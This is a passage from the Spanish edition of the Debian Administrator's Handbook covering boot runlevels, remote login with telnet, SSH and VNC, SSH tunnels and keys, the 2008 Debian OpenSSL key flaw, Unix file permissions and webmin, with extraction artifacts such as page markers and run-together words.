Existe otros niveles, especialmente del3 al 5. De forma predeterminara estánconfigurados para operar de la mismaforma que el nivel 2, pero eladministrador puede modificarlos(agregando o eliminando scripts en losdirectorios /etc/rcX.dcorrespondientes) para adaptarlos anecesidades particulares.

Figure 9.1. Secuencia de inicio de unequipo ejecutando Linux

Page 879: El Libro Del Administrador de Debian - Raphael Hertzog

Todos los scripts en los variosdirectorios /etc/rcX.d son sóloenlaces simbólicos — creados durantela instalación del paquete por elprograma update-rc.d — que apuntan

Page 880: El Libro Del Administrador de Debian - Raphael Hertzog

a los scripts reales que estánalmacenados en /etc/init.d/. Eladministrador puede ajustar losservicios disponibles en cada nivel deejecución ejecutando update-rc.dnuevamente con los parámetroscorrectos. La página de manual update-rc.d(1) describe la sintaxis en detalle.Sepa que eliminar todos los enlacessimbólicos (con el parámetro remove)no es un buen método de desactivar unservicio. En su lugar, simplementedebería configurar para que el mismono se ejecute en el nivel de ejecucióndeseado (preservando las llamadas paradetenerlo en caso que el servicio estéejecutando en el nivel de ejecuciónanterior). Debido a que update-rc.d

Page 881: El Libro Del Administrador de Debian - Raphael Hertzog

tiene una interfaz bastante compleja,puede preferir utilizar rcconf (en elpaquete rcconf) que provee una interfazmucho más amigable.

NORMATIVA DEBIAN Reinicializaciónde servicios

Los scripts de mantenimiento parapaquetes Debian a veces reinicianalgunos servicios para asegurar sudisponibilidad o conseguir que tengan encuenta algunas opciones. El script quecontrola un servicio —/etc/init.d/servicio operación — no tieneen cuenta el nivel de ejecución, asume(incorrectamente) que el servicio estásiendo utilizado actualmente y, por lotanto, puede iniciar operacionesincorrectas (iniciar un servicio que fue

Page 882: El Libro Del Administrador de Debian - Raphael Hertzog

detenido deliberadamente o detener unservicio que no está ejecutando, etc.). Porlo tanto, Debian introdujo el programainvoke-rc.d: los scripts de mantenimientodeben utilizar este programa para ejecutarscripts de inicialización de servicios quesólo ejecutarán las órdenes necesarias.Sepa que, contrario al uso común, aquí seutiliza el sufijo .d en el nombre de unprograma y no en un directorio.

Finalmente, init inicia los programasde control para varias consolasvirtuales (getty). Muestra un promptesperando por un nombre de usuario yluego ejecuta login usuario parainiciar una sesión.

Page 883: El Libro Del Administrador de Debian - Raphael Hertzog

VOCABULARIO Consola y terminal

Los primeros equipos generalmenteestaban separados en varias partes muygrandes: el compartimiento dealmacenamiento y la unidad deprocesamiento central estaban separadosde los dispositivos periféricos que losoperadores utilizaban para controlarlos.Éstos eran parte de un mobiliarioseparado: la «consola». Se mantuvo estetérmino pero cambió su significado. Seconvirtió, de cierta forma, en sinónimo de«terminal» (un teclado y una pantalla).

Con el desarrollo de la tecnología, lossistemas operativos han ofrecido variasconsolas virtuales que permiten variassesiones independientes al mismo tiempo,aún si sólo hay un teclado y pantalla. Lamayoría de los sistemas GNU/Linux

Page 884: El Libro Del Administrador de Debian - Raphael Hertzog

ofrecen seis consolas virtuales (en modotexto) a las que puede accederpresionando las combinaciones de teclasControl+Alt+F1 a Control+Alt+F6.

Por extensión, los términos «consola» y«terminal» también pueden hacerreferencia a emuladores de terminales enuna sesión gráfica X11 (como xterm,gnome-terminal o konsole).

Page 885: El Libro Del Administrador de Debian - Raphael Hertzog

9.2. Inicio desesión remotoEs esencial para el administrador poderconectarse a un equipo de formaremota. Los servidores, aislados en supropia habitación, rara vez estánequipados con monitores y tecladospermanentes — pero están conectadosa la red.

VOLVER A LOS CIMIENTOS Cliente,servidor

Generalmente se describe a un sistema enel que varios procesos se comunican entre

Page 886: El Libro Del Administrador de Debian - Raphael Hertzog

ellos con la metáfora «cliente/servidor».El servidor es el programa que toma yejecuta los pedidos que provienen de uncliente. Es el cliente el que controla laoperación, el servidor no tiene iniciativapropia.

9.2.1. Inicio de sesiónremoto: telnetEl protocolo telnet, el servicio desesiones remotas más antiguo, es elpeor en términos de seguridad. Seenvían los datos y contraseñas en textoplano — es decir, sin cifrar —dejándolos vulnerables a cualquiera

Page 887: El Libro Del Administrador de Debian - Raphael Hertzog

escuchando en la red. Si es necesario,elimine este servicio obsoleto que yano está instalado de formapredeterminada:

# apt-get remove telnetd

Existe, sin embargo, una adaptaciónque corrige los defectos máspeligrosos; utiliza SSL (capa dezócalos seguros: «Secure SocketLayer») para autenticar y cifrar lacomunicación. Los paquetes telnetd-ssly telnet-ssl proveen el software deservidor y cliente, respectivamente.

VOCABULARIO Autenticación, cifrado

Cuando necesita proveerle a un cliente la

Page 888: El Libro Del Administrador de Debian - Raphael Hertzog

capacidad de realizar o desencadenaracciones en un servidor, la seguridad esimportante. Debe asegurar la identidaddel cliente; esto es autenticación. Estaidentidad generalmente consisten en unaconstraseña que debe mantenerse ensecreto o cualquier otro cliente podríaobtener la contraseña. Este es el propósitodel cifrado, que es una forma decodificación que permite a dos sistemasintercambiar información confidencial enun canal público al mismo tiempo que laprotege de que otros la puedan leer.

Frecuentemente se nombran a laautenticación y al cifrado en conjunto,tanto porque se los utiliza a ambos comoporque generalmente son implementadoscon conceptos matemáticos similares.

Page 889: El Libro Del Administrador de Debian - Raphael Hertzog

9.2.2. Inicio seguro desesión remota: SSHEl protocolo SSH (interprete de órdenesseguro: «Secure SHell»), a diferenciade telnet fue diseñado pensando en laseguridad y la confiabilidad. Lasconexiones que utilizan SSH sonseguras: la otra parte es autenticada yse cifran todos los datosintercambiados.

CULTURA SSH comparado con RSH

Las herramientas SSH proveen variantesseguras de los programas de la familiaclásica RSH (consola remota: «Remote

Page 890: El Libro Del Administrador de Debian - Raphael Hertzog

SHell») — rsh, rlogin y rcp. Estosúltimos todavía están disponibles en lospaquetes rsh-server y rsh-client, pero serecomienda encarecidamente noutilizarlos.

SSH también ofrece dos servicios detransferencia de archivos. scp es unaherramienta para la terminal que puedeutilizar como cp excepto que cualquierruta a otro equipo utilizará un prefijocon el nombre de la máquina seguidode dos puntos («:»).

$ scp archivo equipo:/tmp/

sftp es un programa interactivo similara ftp. En una sola sesión sftp puede

Page 891: El Libro Del Administrador de Debian - Raphael Hertzog

transferir varios archivos y es posiblemanipular archivos remotos con él(eliminar, renombrar, cambiarpermisos, etc.).

Debian utiliza OpenSSH, una versiónlibre de SSH mantenida por el proyectoOpenBSD (un sistema operativo librebasado en el núcleo BSD enfocado enseguridad) que es una bifurcación(«fork») del software SSH originaldesarrollado por la empresa SSHCommunications Security Corp deFinlandia. Esta empresa inicialmentedesarrolló SSH como software librepero eventualmente decidió continuarsu desarrollo bajo una licenciaprivativa. El proyecto OpenBSD luego

Page 892: El Libro Del Administrador de Debian - Raphael Hertzog

creó OpenSSH para mentener unaversión libre de SSH.

VOLVER A LOS CIMIENTOSBifurcación: «fork»

Una bifurcación («fork»), en el campo desoftware, significa que comienza unnuevo proyecto como clon de un proyectoexistente y que competirá con él. Desdeallí, ambos programas generalmentedivergirán rápidamente en términos denuevos desarrollos. Por lo general son unresultado de desacuerdos dentro delequipo de desarrollo.

La opción de bifurcar un proyecto es unresultado directo de la naturaleza mismadel software libre; es un evento saludablecuando permite la continuación de un

Page 893: El Libro Del Administrador de Debian - Raphael Hertzog

proyecto como software libre (porejemplo, en el caso de cambios delicencia). Una bifurcación generada pordesacuerdos técnicos o personalesusualmente es un desperdicio de recursos;se prefiere otra solución. Tambiénocurren fusiones de dos proyectos queanteriormente habían bifurcado.

Desde Etch, OpenSSH está dividido endos paquetes. La parte del cliente seencuentra en el paquete openssh-clienty el servidor en el paquete openssh-server. El metapaquete ssh depende deambas partes y facilita la instalaciónconjunta (apt-get install ssh).

YENDO MÁS ALLÁ Aceleración por

Page 894: El Libro Del Administrador de Debian - Raphael Hertzog

hardware de SSH

Algún hardware provee funcionalidadnativa de funciones matemáticasutilizadas por el cifrado, lo cual puedeacelerar los cálculos necesario; por lotanto, aumenta el rendimiento de algunasherramientas (y aligerando la carga en elprocesador principal). Estas herramientasincluyen, notablemente, la bibliotecaOpenSSL que es utilizada por OpenSSH.

Si bien está en proceso un proyecto paraestandarizar los controladores (sobre todoa nivel de núcleo), la variedad dehardware aún es gestionada de formaheterogénea y desigual. Por ejemplo, sóloes parcialmente funcional el sistemaPadlock incluido en los procesadores ViaC3. Si bien el núcleo Linux ofrece variosalgoritmos de cifrado, la biblioteca

Page 895: El Libro Del Administrador de Debian - Raphael Hertzog

OpenSSL 0.9.8, la versión en Squeezesólo puede delegar cifrado AES alhardware dedicado a este propósito perono los algoritmos SHA; debe recompilarcon un parche.

→ http://www.logix.cz/michal/devel/padlock/

9.2.2.1. Autenticaciónbasada en llaves

Cada vez que alguien inicia sesión através de SSH, el servidor remoto pideuna contraseña para autenticar alusuario. Esto puede ser problemático sidesea automatizar la conexión o siutiliza una herramienta que necesita

Page 896: El Libro Del Administrador de Debian - Raphael Hertzog

conexiones frecuentes sobre SSH. Espor esto que SSH ofrece un sistema deautenticación basada en llaves.

El usuario genera un par de llaves en lamáquina cliente con ssh-keygen -t rsa;la llave pública se almacena en~/.ssh/id_rsa.pub mientras que lallave privada correspondiente estaráalmacenada en ~/.ssh/id_rsa. Luego,el usuario utiliza ssh-copy-idservidor para agregar su llave públicaal archivo ~/.ssh/authorized_keysen el servidor. Si no se protegió la llaveprivada con una «frase de contraseña»al momento de crearla, todos losinicios de sesión siguientes al servidorfuncionarán sin contraseña. De lo

Page 897: El Libro Del Administrador de Debian - Raphael Hertzog

contrario, debe descifrar la llaveprivada cada vez ingresando la frase decontraseña. Afortunadamente, ssh-agent permite mantener llaves privadasen memoria para no tener que ingresarla frase de contraseña regularmente.Para ello, simplemente utilizaría ssh-add (una vez por sesión de trabajo)siempre que la sesión ya esté asociadacon una instancia funcional de ssh-agent. De forma predeterminada,Debian activa este comportamiento ensesiones gráficas pero lo puededesactivar cambiando el archivo/etc/X11/Xsession.options. Parauna sesión en consola, puede iniciarlomanualmente con eval $(ssh-agent).

Page 898: El Libro Del Administrador de Debian - Raphael Hertzog

SEGURIDAD Protección de la llaveprivada

Quien posea la llave privada puede iniciarsesión con la cuenta configurada. Es poresto que se protege la llave privada conuna «frase de contraseña». Quien obtengauna copia del archivo de la llave privada(por ejemplo, ~/.ssh/id_rsa) todavíatendrá que saber dicha frase para poderintentar utilizarla. Sin embargo, estaprotección adicional no es infalible y esmejor deshabilitar la llave en aquellosequipos en las que la instaló(eliminándola de los archivosauthorized_keys) y reemplazándola conuna nueva llave que haya generado.

CULTURA Falla OpenSSL en Debian

Page 899: El Libro Del Administrador de Debian - Raphael Hertzog

Etch

La biblioteca OpenSSL, como fue provistainicialmente en Debian Etch, tenía unserio problema en su generador denúmeros aleatorios (RNG: «RandomNumber Generator»). El desarrolladorDebian había realizado una modificaciónpara que la biblioteca no generaraadvertencias en los programas que lautilizaban mientras eran objetivo deanálisis por herramientas de pruebas dememoria como valgrind.Desafortunadamente, este cambiotambién significaba que el RNG sóloutilizaba una fuente de entropía quecorrespondía al número de proceso (PID);pero los 32000 valores posibles delmismo no ofrecen suficiente aleatoriedad.

→ http://www.debian.org/security/2008/dsa-

Page 900: El Libro Del Administrador de Debian - Raphael Hertzog

1571

Específicamente, cuando utilizabaOpenSSL para generar una llave, siempreproducía una llave dentro de un conjuntoconocido de cientos de miles de llaves(32000 multiplicado por una pequeñacantidad de longitudes de llaves). Estoafectaba llaves SSH, llaves SSL ycertificados X.509 utilizados pornumerosas aplicaciones, como OpenVPN.Un «cracker» sólo debía intentar todasestas llaves para obtener un acceso noautorizado. Para reducir el impacto delproblema, se modificó el demonio SSHpara rechazar las llaves problemáticasincluidas en los paquetes openssh-blacklist y openssh-blacklist-extra.Además, el programa ssh-vulnkey permiteidentificar posibles llaves comprometidasen el sistema.

Page 901: El Libro Del Administrador de Debian - Raphael Hertzog

Un análisis más detallado de esteproblema resaltó que era el resultado demúltiples problemas (pequeños), tanto enel proyecto OpenSSL así como tambiéncon el encargado del paquete Debian. Unabiblioteca tan utilizada como OpenSSL nodebería — sin modificaciones — generaradvertencias cuando es probada convalgrind. Lo que es más, el código(especialmente las partes tan sensiblescomo el RNG) deberían tener mejorescomentarios para evitar estos errores. Elencargado Debian por su parte, deseandovalidar sus modificaciones con losdesarrolladores de OpenSSL, simplementeexplicó sus modificaciones sin proveer elparche correspondiente para revisar.Tampoco se identificó a sí mismoclaramente como el encargado delpaquete Debian correspondiente.Finalmente, en sus elecciones como

Page 902: El Libro Del Administrador de Debian - Raphael Hertzog

encargado, no documentó los cambios alcódigo original claramente; todas lasmodificaciones fueron almacenadas en unrepositorio Subversion, pero terminaronagrupadas en sólo un parche durante lacreación del paquete fuente.

Bajo tales condiciones es difícil encontrarlas medidas correctivas para evitar queocurran incidentes similar. La lección aaprender aquí es que cada divergenciaque Debian introduce al software deorigen debe estar justificada,documentada, enviada al proyecto deorigen cuando sea posible y publicitadaampliamente. Es desde esta perspectivaque se desarrollaron el nuevo formato depaquete fuente («3.0 (quilt)») y el sistemade seguimiento de parches Debian.

→ http://patch-tracker.debian.org

Page 903: El Libro Del Administrador de Debian - Raphael Hertzog

9.2.2.2. Utilizaciónaplicaciones X11 remotas

El protocolo SSH permite redirigirdatos gráficos (sesión «X11» por elnombre del sistema gráfico másutilizado en Unix); el servidor luegomantiene un canal dedicado para estosdatos. Específicamente, el programagráfico ejecutado remotamente puedemostrarse en el servidor X.org de lapantalla local y toda la sesión (datosingresados y lo que sea mostrado) serásegura. De forma predeterminada, estafuncionalidad está desactivada porquepermite que aplicaciones remotas

Page 904: El Libro Del Administrador de Debian - Raphael Hertzog

interfieran con el sistema local. Puedeactivarla especificando X11Forwardingyes en el archivo de configuración delservidor (/etc/ssh/sshd_config).Finalmente, el usuario también debesolicitarlo agregando la opción -X alejecutar ssh.

9.2.2.3. Creación de túnelescifrados con redirección depuertos

Las opciones -R y -L le permiten a sshcrear «túneles cifrados» entre dosequipos, redirigiendo de forma seguraun puerto TCP local (revise el recuadroVOLVER A LOS CIMIENTOS

Page 905: El Libro Del Administrador de Debian - Raphael Hertzog

TCP/UDP) a un equipo remoto oviceversa.

VOCABULARIO Túnel

Internet, y la mayoría de las redes de árealocal conectadas a ella, funcionan bajoconmutación de paquetes y no bajoconmutación de circuitos, lo que significaque un paquete enviado de un equipo aotro será detenido en varios routersintermedios para encontrar su ruta aldestino. Todavía puede simular el modode conexión en el que el flujo estéencapsulado en paquetes IP normales.Estos paquetes siguen su ruta usual perose reconstruye el flujo sin cambios en eldestino. A esto le llamamos un «túnel», elanálogo a un túnel vial en el que losvehículos conducen directamente desde

Page 906: El Libro Del Administrador de Debian - Raphael Hertzog

la entrada a la salida sin encontrase conintersección alguna a diferencia de unaruta en la superficie que involucraríaintersecciones y cambios de dirección.

Puede utilizar esta oportunidad paraagregar cifrado al túnel: así el flujo delmismo no puede ser reconocido desde elexterior, pero al salir del túnel seencuentra descifrado.

ssh -L 8000:servidor:25intermediario establece una sesiónSSH con el equipo intermediario yescucha en el puerto local 8000 (revisela Figure 9.2, “Redirección de unpuerto local con SSH”). Para cualquierconexión en este puerto, ssh iniciaráuna conexión desde el equipo

Page 907: El Libro Del Administrador de Debian - Raphael Hertzog

intermediario al puerto 25 deservidor y unirá ambas conexiones.

ssh -R 8000:servidor:25intermediario también establece unasesión SSH al equipo intermediario,pero es en este equipo que sshescuchará en el puerto 8000 (revise laFigure 9.3, “Redirección de un puertoremoto con SSH”). Cualquier conexiónestablecida en este puerto causará quessh abra una conexión desde el equipolocal al puerto 25 de servidor y uniráambas conexiones.

En ambos casos, se realizan lasconexiones en el puerto 25 del equiposervidor, que pasarán a través del

Page 908: El Libro Del Administrador de Debian - Raphael Hertzog

túnel SSH establecido entre la máquinalocal y la máquina intermediario. Enel primer caso, la entrada al túnel es elpuerto local 8000 y los datos semueven hacia la máquinaintermediario antes de dirigirse aservidor en la red «pública». En elsegundo caso, la entrada y la salida deltúnel son invertidos; la entrada es en elpuerto 8000 de la máquinaintermediario, la salida es en elequipo local y los datos son dirigidos aservidor. En la práctica, el servidorgeneralmente está en la máquina localo el intermediario. De esa forma SSHasegura la conexión un extremo a otro.

Figure 9.2. Redirección de un puerto

Page 909: El Libro Del Administrador de Debian - Raphael Hertzog

local con SSH

Page 910: El Libro Del Administrador de Debian - Raphael Hertzog

Figure 9.3. Redirección de un puertoremoto con SSH

Page 911: El Libro Del Administrador de Debian - Raphael Hertzog

9.2.3. Utilización de

Page 912: El Libro Del Administrador de Debian - Raphael Hertzog

escritorios gráficosremotosVNC (computación en redes virtuales:«Virtual Network Computing»)permite el acceso remoto a escritoriosgráficos.

Esta herramienta se utiliza más quenada para asistencia técnica; eladministrador puede ver los errores conlos que se enfrenta el usuario ymostrarle el curso de acción correctosin tener que estar a su lado.

Primero, el usuario debe autorizarcompartir su sesión. Los entornos

Page 913: El Libro Del Administrador de Debian - Raphael Hertzog

gráficos de escritorio GNOME y KDEincluyen vino y krfb, respectivamente,que proveen una interfaz gráfica quepermite compartir una sesión existentesobre VNC (puede encontrarlos enSistema → Preferencias → EscritorioRemoto y K → Internet → CompartirEscritorio respectivamente). Para otrosentornos gráficos de escritorio elprograma x11vnc (en el paqueteDebian del mismo nombre) cumple elmismo propósito; puede ponerlo adisposición del usuario con un íconoexplícito.

Cuando la sesión gráfica estádisponible a través de VNC, eladministrador debe conectarse a ella

Page 914: El Libro Del Administrador de Debian - Raphael Hertzog

con un cliente VNC. Para ello GNOMEposee vinagre y tsclient, mientras queKDE posee krdc (en el menú K →Internet → Cliente de EscritorioRemoto). Existen otros clientes VNCpara utilizar en una terminal comoxvnc4viewer en el paquete Debian delmismo nombre. Una vez conectado, eladministrador puede ver lo que sucede,trabajar en el equipo remotamente ymostrarle al usuario cómo proceder.

SEGURIDAD VNC sobre SSH

Si desea conectarse con VNC y no deseaque se envíen sus datos en texto plano através de la red, es posible encapsular losdatos en un túnel SSH (revise laSection 9.2.2.3, “Creación de túneles

Page 915: El Libro Del Administrador de Debian - Raphael Hertzog

cifrados con redirección de puertos”).Simplemente tiene que saber que, deforma predeterminada, VNC utiliza elpuerto 5900 para la primera pantalla(llamada «localhost:0»), 5901 para lasegunda (llamada «localhost:1»), etc.

La orden ssh -Llocalhost:5901:localhost:5900 -N -Tequipo crea un túnel entre el puerto local5901 en la interfaz de «localhost» y elpuerto 5900 de equipo. La primeraocurrencia de «localhost» restringe a SSHpara que sólo escuche en dicha interfazen la máquina local. El segundo«localhost» indica que la interfaz en lamáquina remota que recibirá el tráfico dered que ingrese en «localhost:5901». Porlo tanto, vncviewer localhost:1 conectaráel cliente VNC a la pantalla remota aúncuando indique el nombre de la máquina

Page 916: El Libro Del Administrador de Debian - Raphael Hertzog

local.

Cuando cierre la sesión VNC, recuerdetambién cerrar el túnel saliendo de lasesión SSH correspondiente.

VOLVER A LOS CIMIENTOS Gestor depantallas

gdb, kdm y xdm son gestores de pantalla.Toman el control de la interfaz gráficapoco después del inicio para proveer alusuario una pantalla de inicio de sesión.Una vez que el usuario inició sesión,ejecutan los programas necesarios parainiciar una sesión gráfica de trabajo.

VNC también funciona para usuarios

Page 917: El Libro Del Administrador de Debian - Raphael Hertzog

móviles o ejecutivos de empresas queocasionalmente necesitan iniciar sesióndesde sus casas para acceder a unescritorio remoto similar al queutilizan en la oficina. La configuraciónde tal servicio es más complicada:primero instale el paquete vnc4server,modifique la configuración del gestorde pantalla para aceptar pedidos XDMCPQuery (en gdm puede hacerlográficamente a través de la pestaña«Remoto» en el menú Sistema →Administración → Pantalla de inicio desesión; sepa que esto sólo se refiere agdm y no a gdm3, que es la versióninstalada de forma predeterminada enSqueeze). Finalmente, inicie elservidor VNC con inted para que se

Page 918: El Libro Del Administrador de Debian - Raphael Hertzog

inicie una sesión automáticamentecuando el usuario intente hacerlo. Porejemplo, puede agregar la siguientelínea al archivo /etc/inted.conf:

5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

Redireccionar las conexiones entrantesal gestor de pantallas soluciona elproblema de la autenticación ya quesólo los usuarios con cuentas localespasarán la pantalla de inicio de sesiónde gdm (o su equivalente kdm, xdm,etc.). Como esta operación permitemúltiples sesiones simultáneamente sinproblemas (siempre que el servidor seasuficientemente poderoso), inclusopuede ser utilizada para proveerescritorios completos para usuarios

Page 919: El Libro Del Administrador de Debian - Raphael Hertzog

móviles (o sistemas de escritoriosmenos poderosos configurados comoclientes ligeros). Los usuariossimplemente iniciarán sesión en lapantalla del servidor con vncviewerservidor:50 ya que utiliza el puerto5950.

Page 920: El Libro Del Administrador de Debian - Raphael Hertzog

9.3. Administraciónde permisosLinux es definitivamente un sistemamultiusuario por lo que necesitaproveer un sistema de permisos paracontrolar el conjunto de operacionesautorizadas sobre archivos ydirectorios, lo que incluye todos losrecursos del sistema y los dispositivos(en un sistema Unix cualquierdispositivo es representado por unarchivo o un directorio). Este principioes común a todos los sistemas Unixpero siempre es útil recordarlo,especialmente porque existen algunos

Page 921: El Libro Del Administrador de Debian - Raphael Hertzog

usos avanzados interesantes yrelativamente desconocidos.

Cada archivo o directorio tienepermisos específicos para trescategorías de usuarios:

su dueño (representado con u por«usuario»);su grupo dueño (representado cong por «grupo»), que incluye atodos los miembros del grupo;y los demás (representado con opor «otros»).

Puede combinar tres tipos de permisos:

lectura (representado por r por«read»: leer);

Page 922: El Libro Del Administrador de Debian - Raphael Hertzog

escritura (o modificación,representado con w por «write»:escribir);ejecución (representado con x por«eXecute»: ejecutar).

En el caso de un archivo, estospermisos se entienden fácilmente: lalectura permite acceder al contenido(inclusive copiarlo), la escriturapermite cambiarlo y la ejecuciónpermite ejecutarlo (que sólo funcionarási es un programa).

SEGURIDAD Ejecutables setuid ysetgid

Dos permisos particulares son relevantespara archivos ejecutables: setuid y

Page 923: El Libro Del Administrador de Debian - Raphael Hertzog

setgid (representados con la letra «s»).Sepa que frecuentemente haremosreferencias a «bits» ya que cada uno deestos valores booleanos puedenrepresentarse con un 0 o un 1. Estos dospermisos le permiten a cualquier usuarioejecutar el programa con los permisos deldueño o del grupo respectivamente. Estemecanismo provee acceso afuncionalidades que necesitan máspermisos de los que tendría normalmente.

Dado que un programa cuyo dueño esroot con setuid activado ejecutarásistemáticamente con la identidad delsúperusuario, es muy importante asegurarque es seguro y confiable. De hecho, unusuario que pueda comprometerlo paraejecutar otro programa de su elecciónpodría hacerse pasar por el usuario root yobtener todos los permisos sobre el

Page 924: El Libro Del Administrador de Debian - Raphael Hertzog

sistema.

Los directorios se manejan diferente.El permiso de lectura provee accesopara consultar su lista de elementos(archivos y directorios), el permiso deescritura permite crear o borrararchivos y el permiso de ejecuciónpermite atravesarlo (especialmentepara llegar a él con cd). Poder atravesarun directorio sin leerlo permite accedera los elementos que contenga siempreque se conozca su nombre, pero no lepermitirá encontrarlo si no sabe queexiste o conoce su nombre exacto.

SEGURIDAD Directorios setgid y el bit

Page 925: El Libro Del Administrador de Debian - Raphael Hertzog

«sticky» (pegajoso)

El bit setgid también funciona endirectorios. Cualquier elemento creado entales directorios serán asignadosautomáticamente al grupo dueño deldirectorio padre en lugar de heredar elgrupo principal de su creador como esusual. Esta configuración evita que elusuario tenga que cambiar su grupoprincipal (con el programa newgrp)cuando trabaje en un árbol de archivoscompartidos entre varios usuarios delmismo grupo dedicado.

El bit «sticky» (representado por la letra«t») es un permiso que sólo es util endirectorios. Es utilizado especialmente endirectorios temporales a los que todostienen permisos de escritura (como/tmp/): restringe la eliminación de

Page 926: El Libro Del Administrador de Debian - Raphael Hertzog

archivos para que sólo pueda hacerlo eldueño del mismo (o el dueño deldirectorio padre). Sin esto, cualquierpodría eliminar los archivos de otrosusuarios en /tmp/.

Tres programas controlan los permisosasociados a un archivo:

chown usuario archivo cambiael dueño de un archivo;chgrp group archivo modifica elgrupo dueño;chmod permisos archivo cambialos permisos del archivo.

Hay dos formas de representarpermisos. Entre ellas, la representación

Page 927: El Libro Del Administrador de Debian - Raphael Hertzog

simbólica es probablemente la mássencilla de entender y recordar.Involucra las letras mencionadasanteriormente. Puede definir permisospara cada categoría de usuarios (u/g/o)definiéndolos explícitamente (con =,agregar permisos (+) o eliminar (-)permisos. Por lo tanto, la fórmulau=rwx,g+rw,o-r provee al dueñopermisos de lectura, escritura yejecución, agrega permisos de lectura yescritura al grupo dueño y elimina elpermiso de lectura para los otrosusuarios. Los permisos que no sonmodificados cuando se agreguen oeliminen permisos en estas fórmulas semantienen intactos. La letra a (por«all», todos) incluye las tres categorías

Page 928: El Libro Del Administrador de Debian - Raphael Hertzog

de usuarios, por lo que a=rx otorga losmismos permisos (lecutra y ejecución,pero no escritura) a las tres categoríasde usuario.

La representación numérica (octal)asocia cada permiso con un valor: 4para lectura, 2 para escritura y 1 paraejecución. Asociamos cadacombinación de permisos con la sumade dichos valores. Se asigna cada valora las diferentes categorías de usuariosuniéndolos en el orden usual (dueño,grupo, otros).

Por ejemplo, chmod 754 archivoconfigurará los siguientes permisos:lectura, escritura y ejecución para el

Page 929: El Libro Del Administrador de Debian - Raphael Hertzog

dueño (ya que 7 = 4 + 2 + 1); lectura yejecución para el grupo (ya que 5 = 4+1); sólo lectura para los otrosusuarios. 0 significa ningún permiso;por lo tanto chmod 600 archivoprovee permisos de lectura y escrituraal dueño y ningún permiso para todoslos demás. La combinación depermisos más frecuente es 755 paraarchivos ejecutables y directorios y 644para archivos de datos.

Para representar permisos especiales,puede agregar un cuarto dígito antesque los demás según el mismoprincipio, donde los bits setuid,setgid y «sticky» son,respectivamente, 4, 2 y 1. chmod 4754

Page 930: El Libro Del Administrador de Debian - Raphael Hertzog

asociará el bit setuid con los permisosdescriptos anteriormente.

El uso de notación octal sólo permitedefinir todos los permisos en unarchivo simultáneamente; no puedeutilizarlo simplemente para agregar unnuevo permiso, como lectura al grupodueño, ya que debe tener en cuentapermisos existentes y calcular el nuevovalor numérico correspondiente.

SUGERENCIA Operación recursiva

A veces debemos cambiar los permisos aun árbol de archivos completo. Todos losprogramas mencionados aceptan laopción -R para trabajar recursivamente ensubdirectorios.

Page 931: El Libro Del Administrador de Debian - Raphael Hertzog

La distinción entre archivos y directoriosa veces causa problemas con operacionesrecursivas. Es por eso que se introdujo laletra «X» en la representación simbólicade permisos. Representa el permiso deejecución sólo para directorios (y no paraarchivos que no tengan este permiso). Porlo tanto, chmod -R a+X directorio sóloagregará permisos de ejecución paratodas las categorías de usuarios (a) entodos los subdirectorios y aquellosarchivos en los que al menos una de lascategorías de usuario (aún si sólo es elusuario dueño) ya posea permisos deejecución.

SUGERENCIA Modificación de usuarioy grupo

Frecuentemente deseará cambiar el grupo

Page 932: El Libro Del Administrador de Debian - Raphael Hertzog

de un archivo al mismo tiempo quecambia su dueño. El programa chowntiene una sintaxis especial para esto:chown usuario:grupo

YENDO MÁS ALLÁ umask

Cuando una aplicación crea un archivoasigna permisos indicativos, sabiendo queel sistema automáticamente eliminaalgunos permisos, dados por el programaumask. Ejecuta umask en una consola;verá una máscara como 0022. Ésta essimplemente una representación octal delos permisos que serán eliminadossitemáticamente (en este caso, el permisode escritura para el grupo y otrosusuarios).

Si provee un nuevo valor octal, el

Page 933: El Libro Del Administrador de Debian - Raphael Hertzog

programa umask modificará la máscara.Si lo utiliza en un script de inicializaciónde consola (por ejemplo~/.bash_profile) efectivamente cambiarála máscara predeterminada en sussesiones de trabajo.

Page 934: El Libro Del Administrador de Debian - Raphael Hertzog

9.4. Interfaces deadministraciónUtilizar una interfaz gráfica paraadministración es interesante en variascircunstancias. Un administrador noconoce, necesariamente, todos losdetalles de la configuración de todoslos servicios, y no siempre tendrátiempo de revisar la documentacióncorrespondiente. Una interfaz gráficapara administración puede, entonces,acelerar el despliegue de un nuevoservicio. También puede simplificar lainstalación de servicios que sondifíciles de configurar.

Page 935: El Libro Del Administrador de Debian - Raphael Hertzog

Estas interfaces son sólo ayudas y noun fin en sí mismo. En todos los casosel administrador debe dominar sucomportamiento para entender y evitarcualquier problema potencial.

Debido a que ninguna interfaz esperfecta, puede tentarse de probarvarias soluciones. Debe evitar estotanto como sea posible ya que, a veces,el funcionamiento de diferentesherramientas son incompatibles entresí. Aún si todas intentan ser muyflexibles e intentan adoptar el archivode configuración como únicareferencia, no siempre podrán integrarcambios externos.

Page 936: El Libro Del Administrador de Debian - Raphael Hertzog

9.4.1. Administraciónen una interfaz web:webminEsta es, sin lugar a dudas, una de lasinterfaces de administración másexistosas. Es un sistema modularadministrador a través de un servidorweb, que incluye un amplio rango deáreas y herramientas. Lo que es más,está internacionalizada y está diponibleen muchos idiomas.

Lamentablemente, webmin ya no esparte de Debian desde Etch. Suencargado en Debian — Jaldhar H.

Page 937: El Libro Del Administrador de Debian - Raphael Hertzog

Vyas — eliminó los paquetes que creóporque ya no tenía el tiempo necesariopara mantenerlos en un nivel de calidadaceptable. Nadie asumió ese trabajooficialmente, por lo que Squeeze notiene el paquete webmin.

Existe, sin embargo, un paquete nooficial distribuido en el sitio webwebmin.com. A diferencia de lospaquetes incluidos en Sarge, estepaquete es monolítico; de formapredeterminada se instalan y activantodos sus módulos de configuración,aún si el servicio correspondiente noestá instalado en el equipo.

SEGURIDAD Modificación de la

Page 938: El Libro Del Administrador de Debian - Raphael Hertzog

contraseña de root

Durante la primera sesión debeidentificarse con el usuario root y sucontraseña usual. Es recomendablecambiar la contraseña que utiliza webmintan pronto como pueda para que, si escomprometido, no se involucre lacontraseña de root del servidor; aún siesto provee permisos administrativosimportantes en el equipo.

¡Cuidado! Dado que webmin posee tantafuncionalidad, un usuario malicioso queacceda a él puede comprometer laseguridad de todo el sistema. En general,no se recomiendan este tipo de interfacespara sistemas importantes con fuerteslimitaciones de seguridad (firewall,servidores sensibles, etc.).

Page 939: El Libro Del Administrador de Debian - Raphael Hertzog

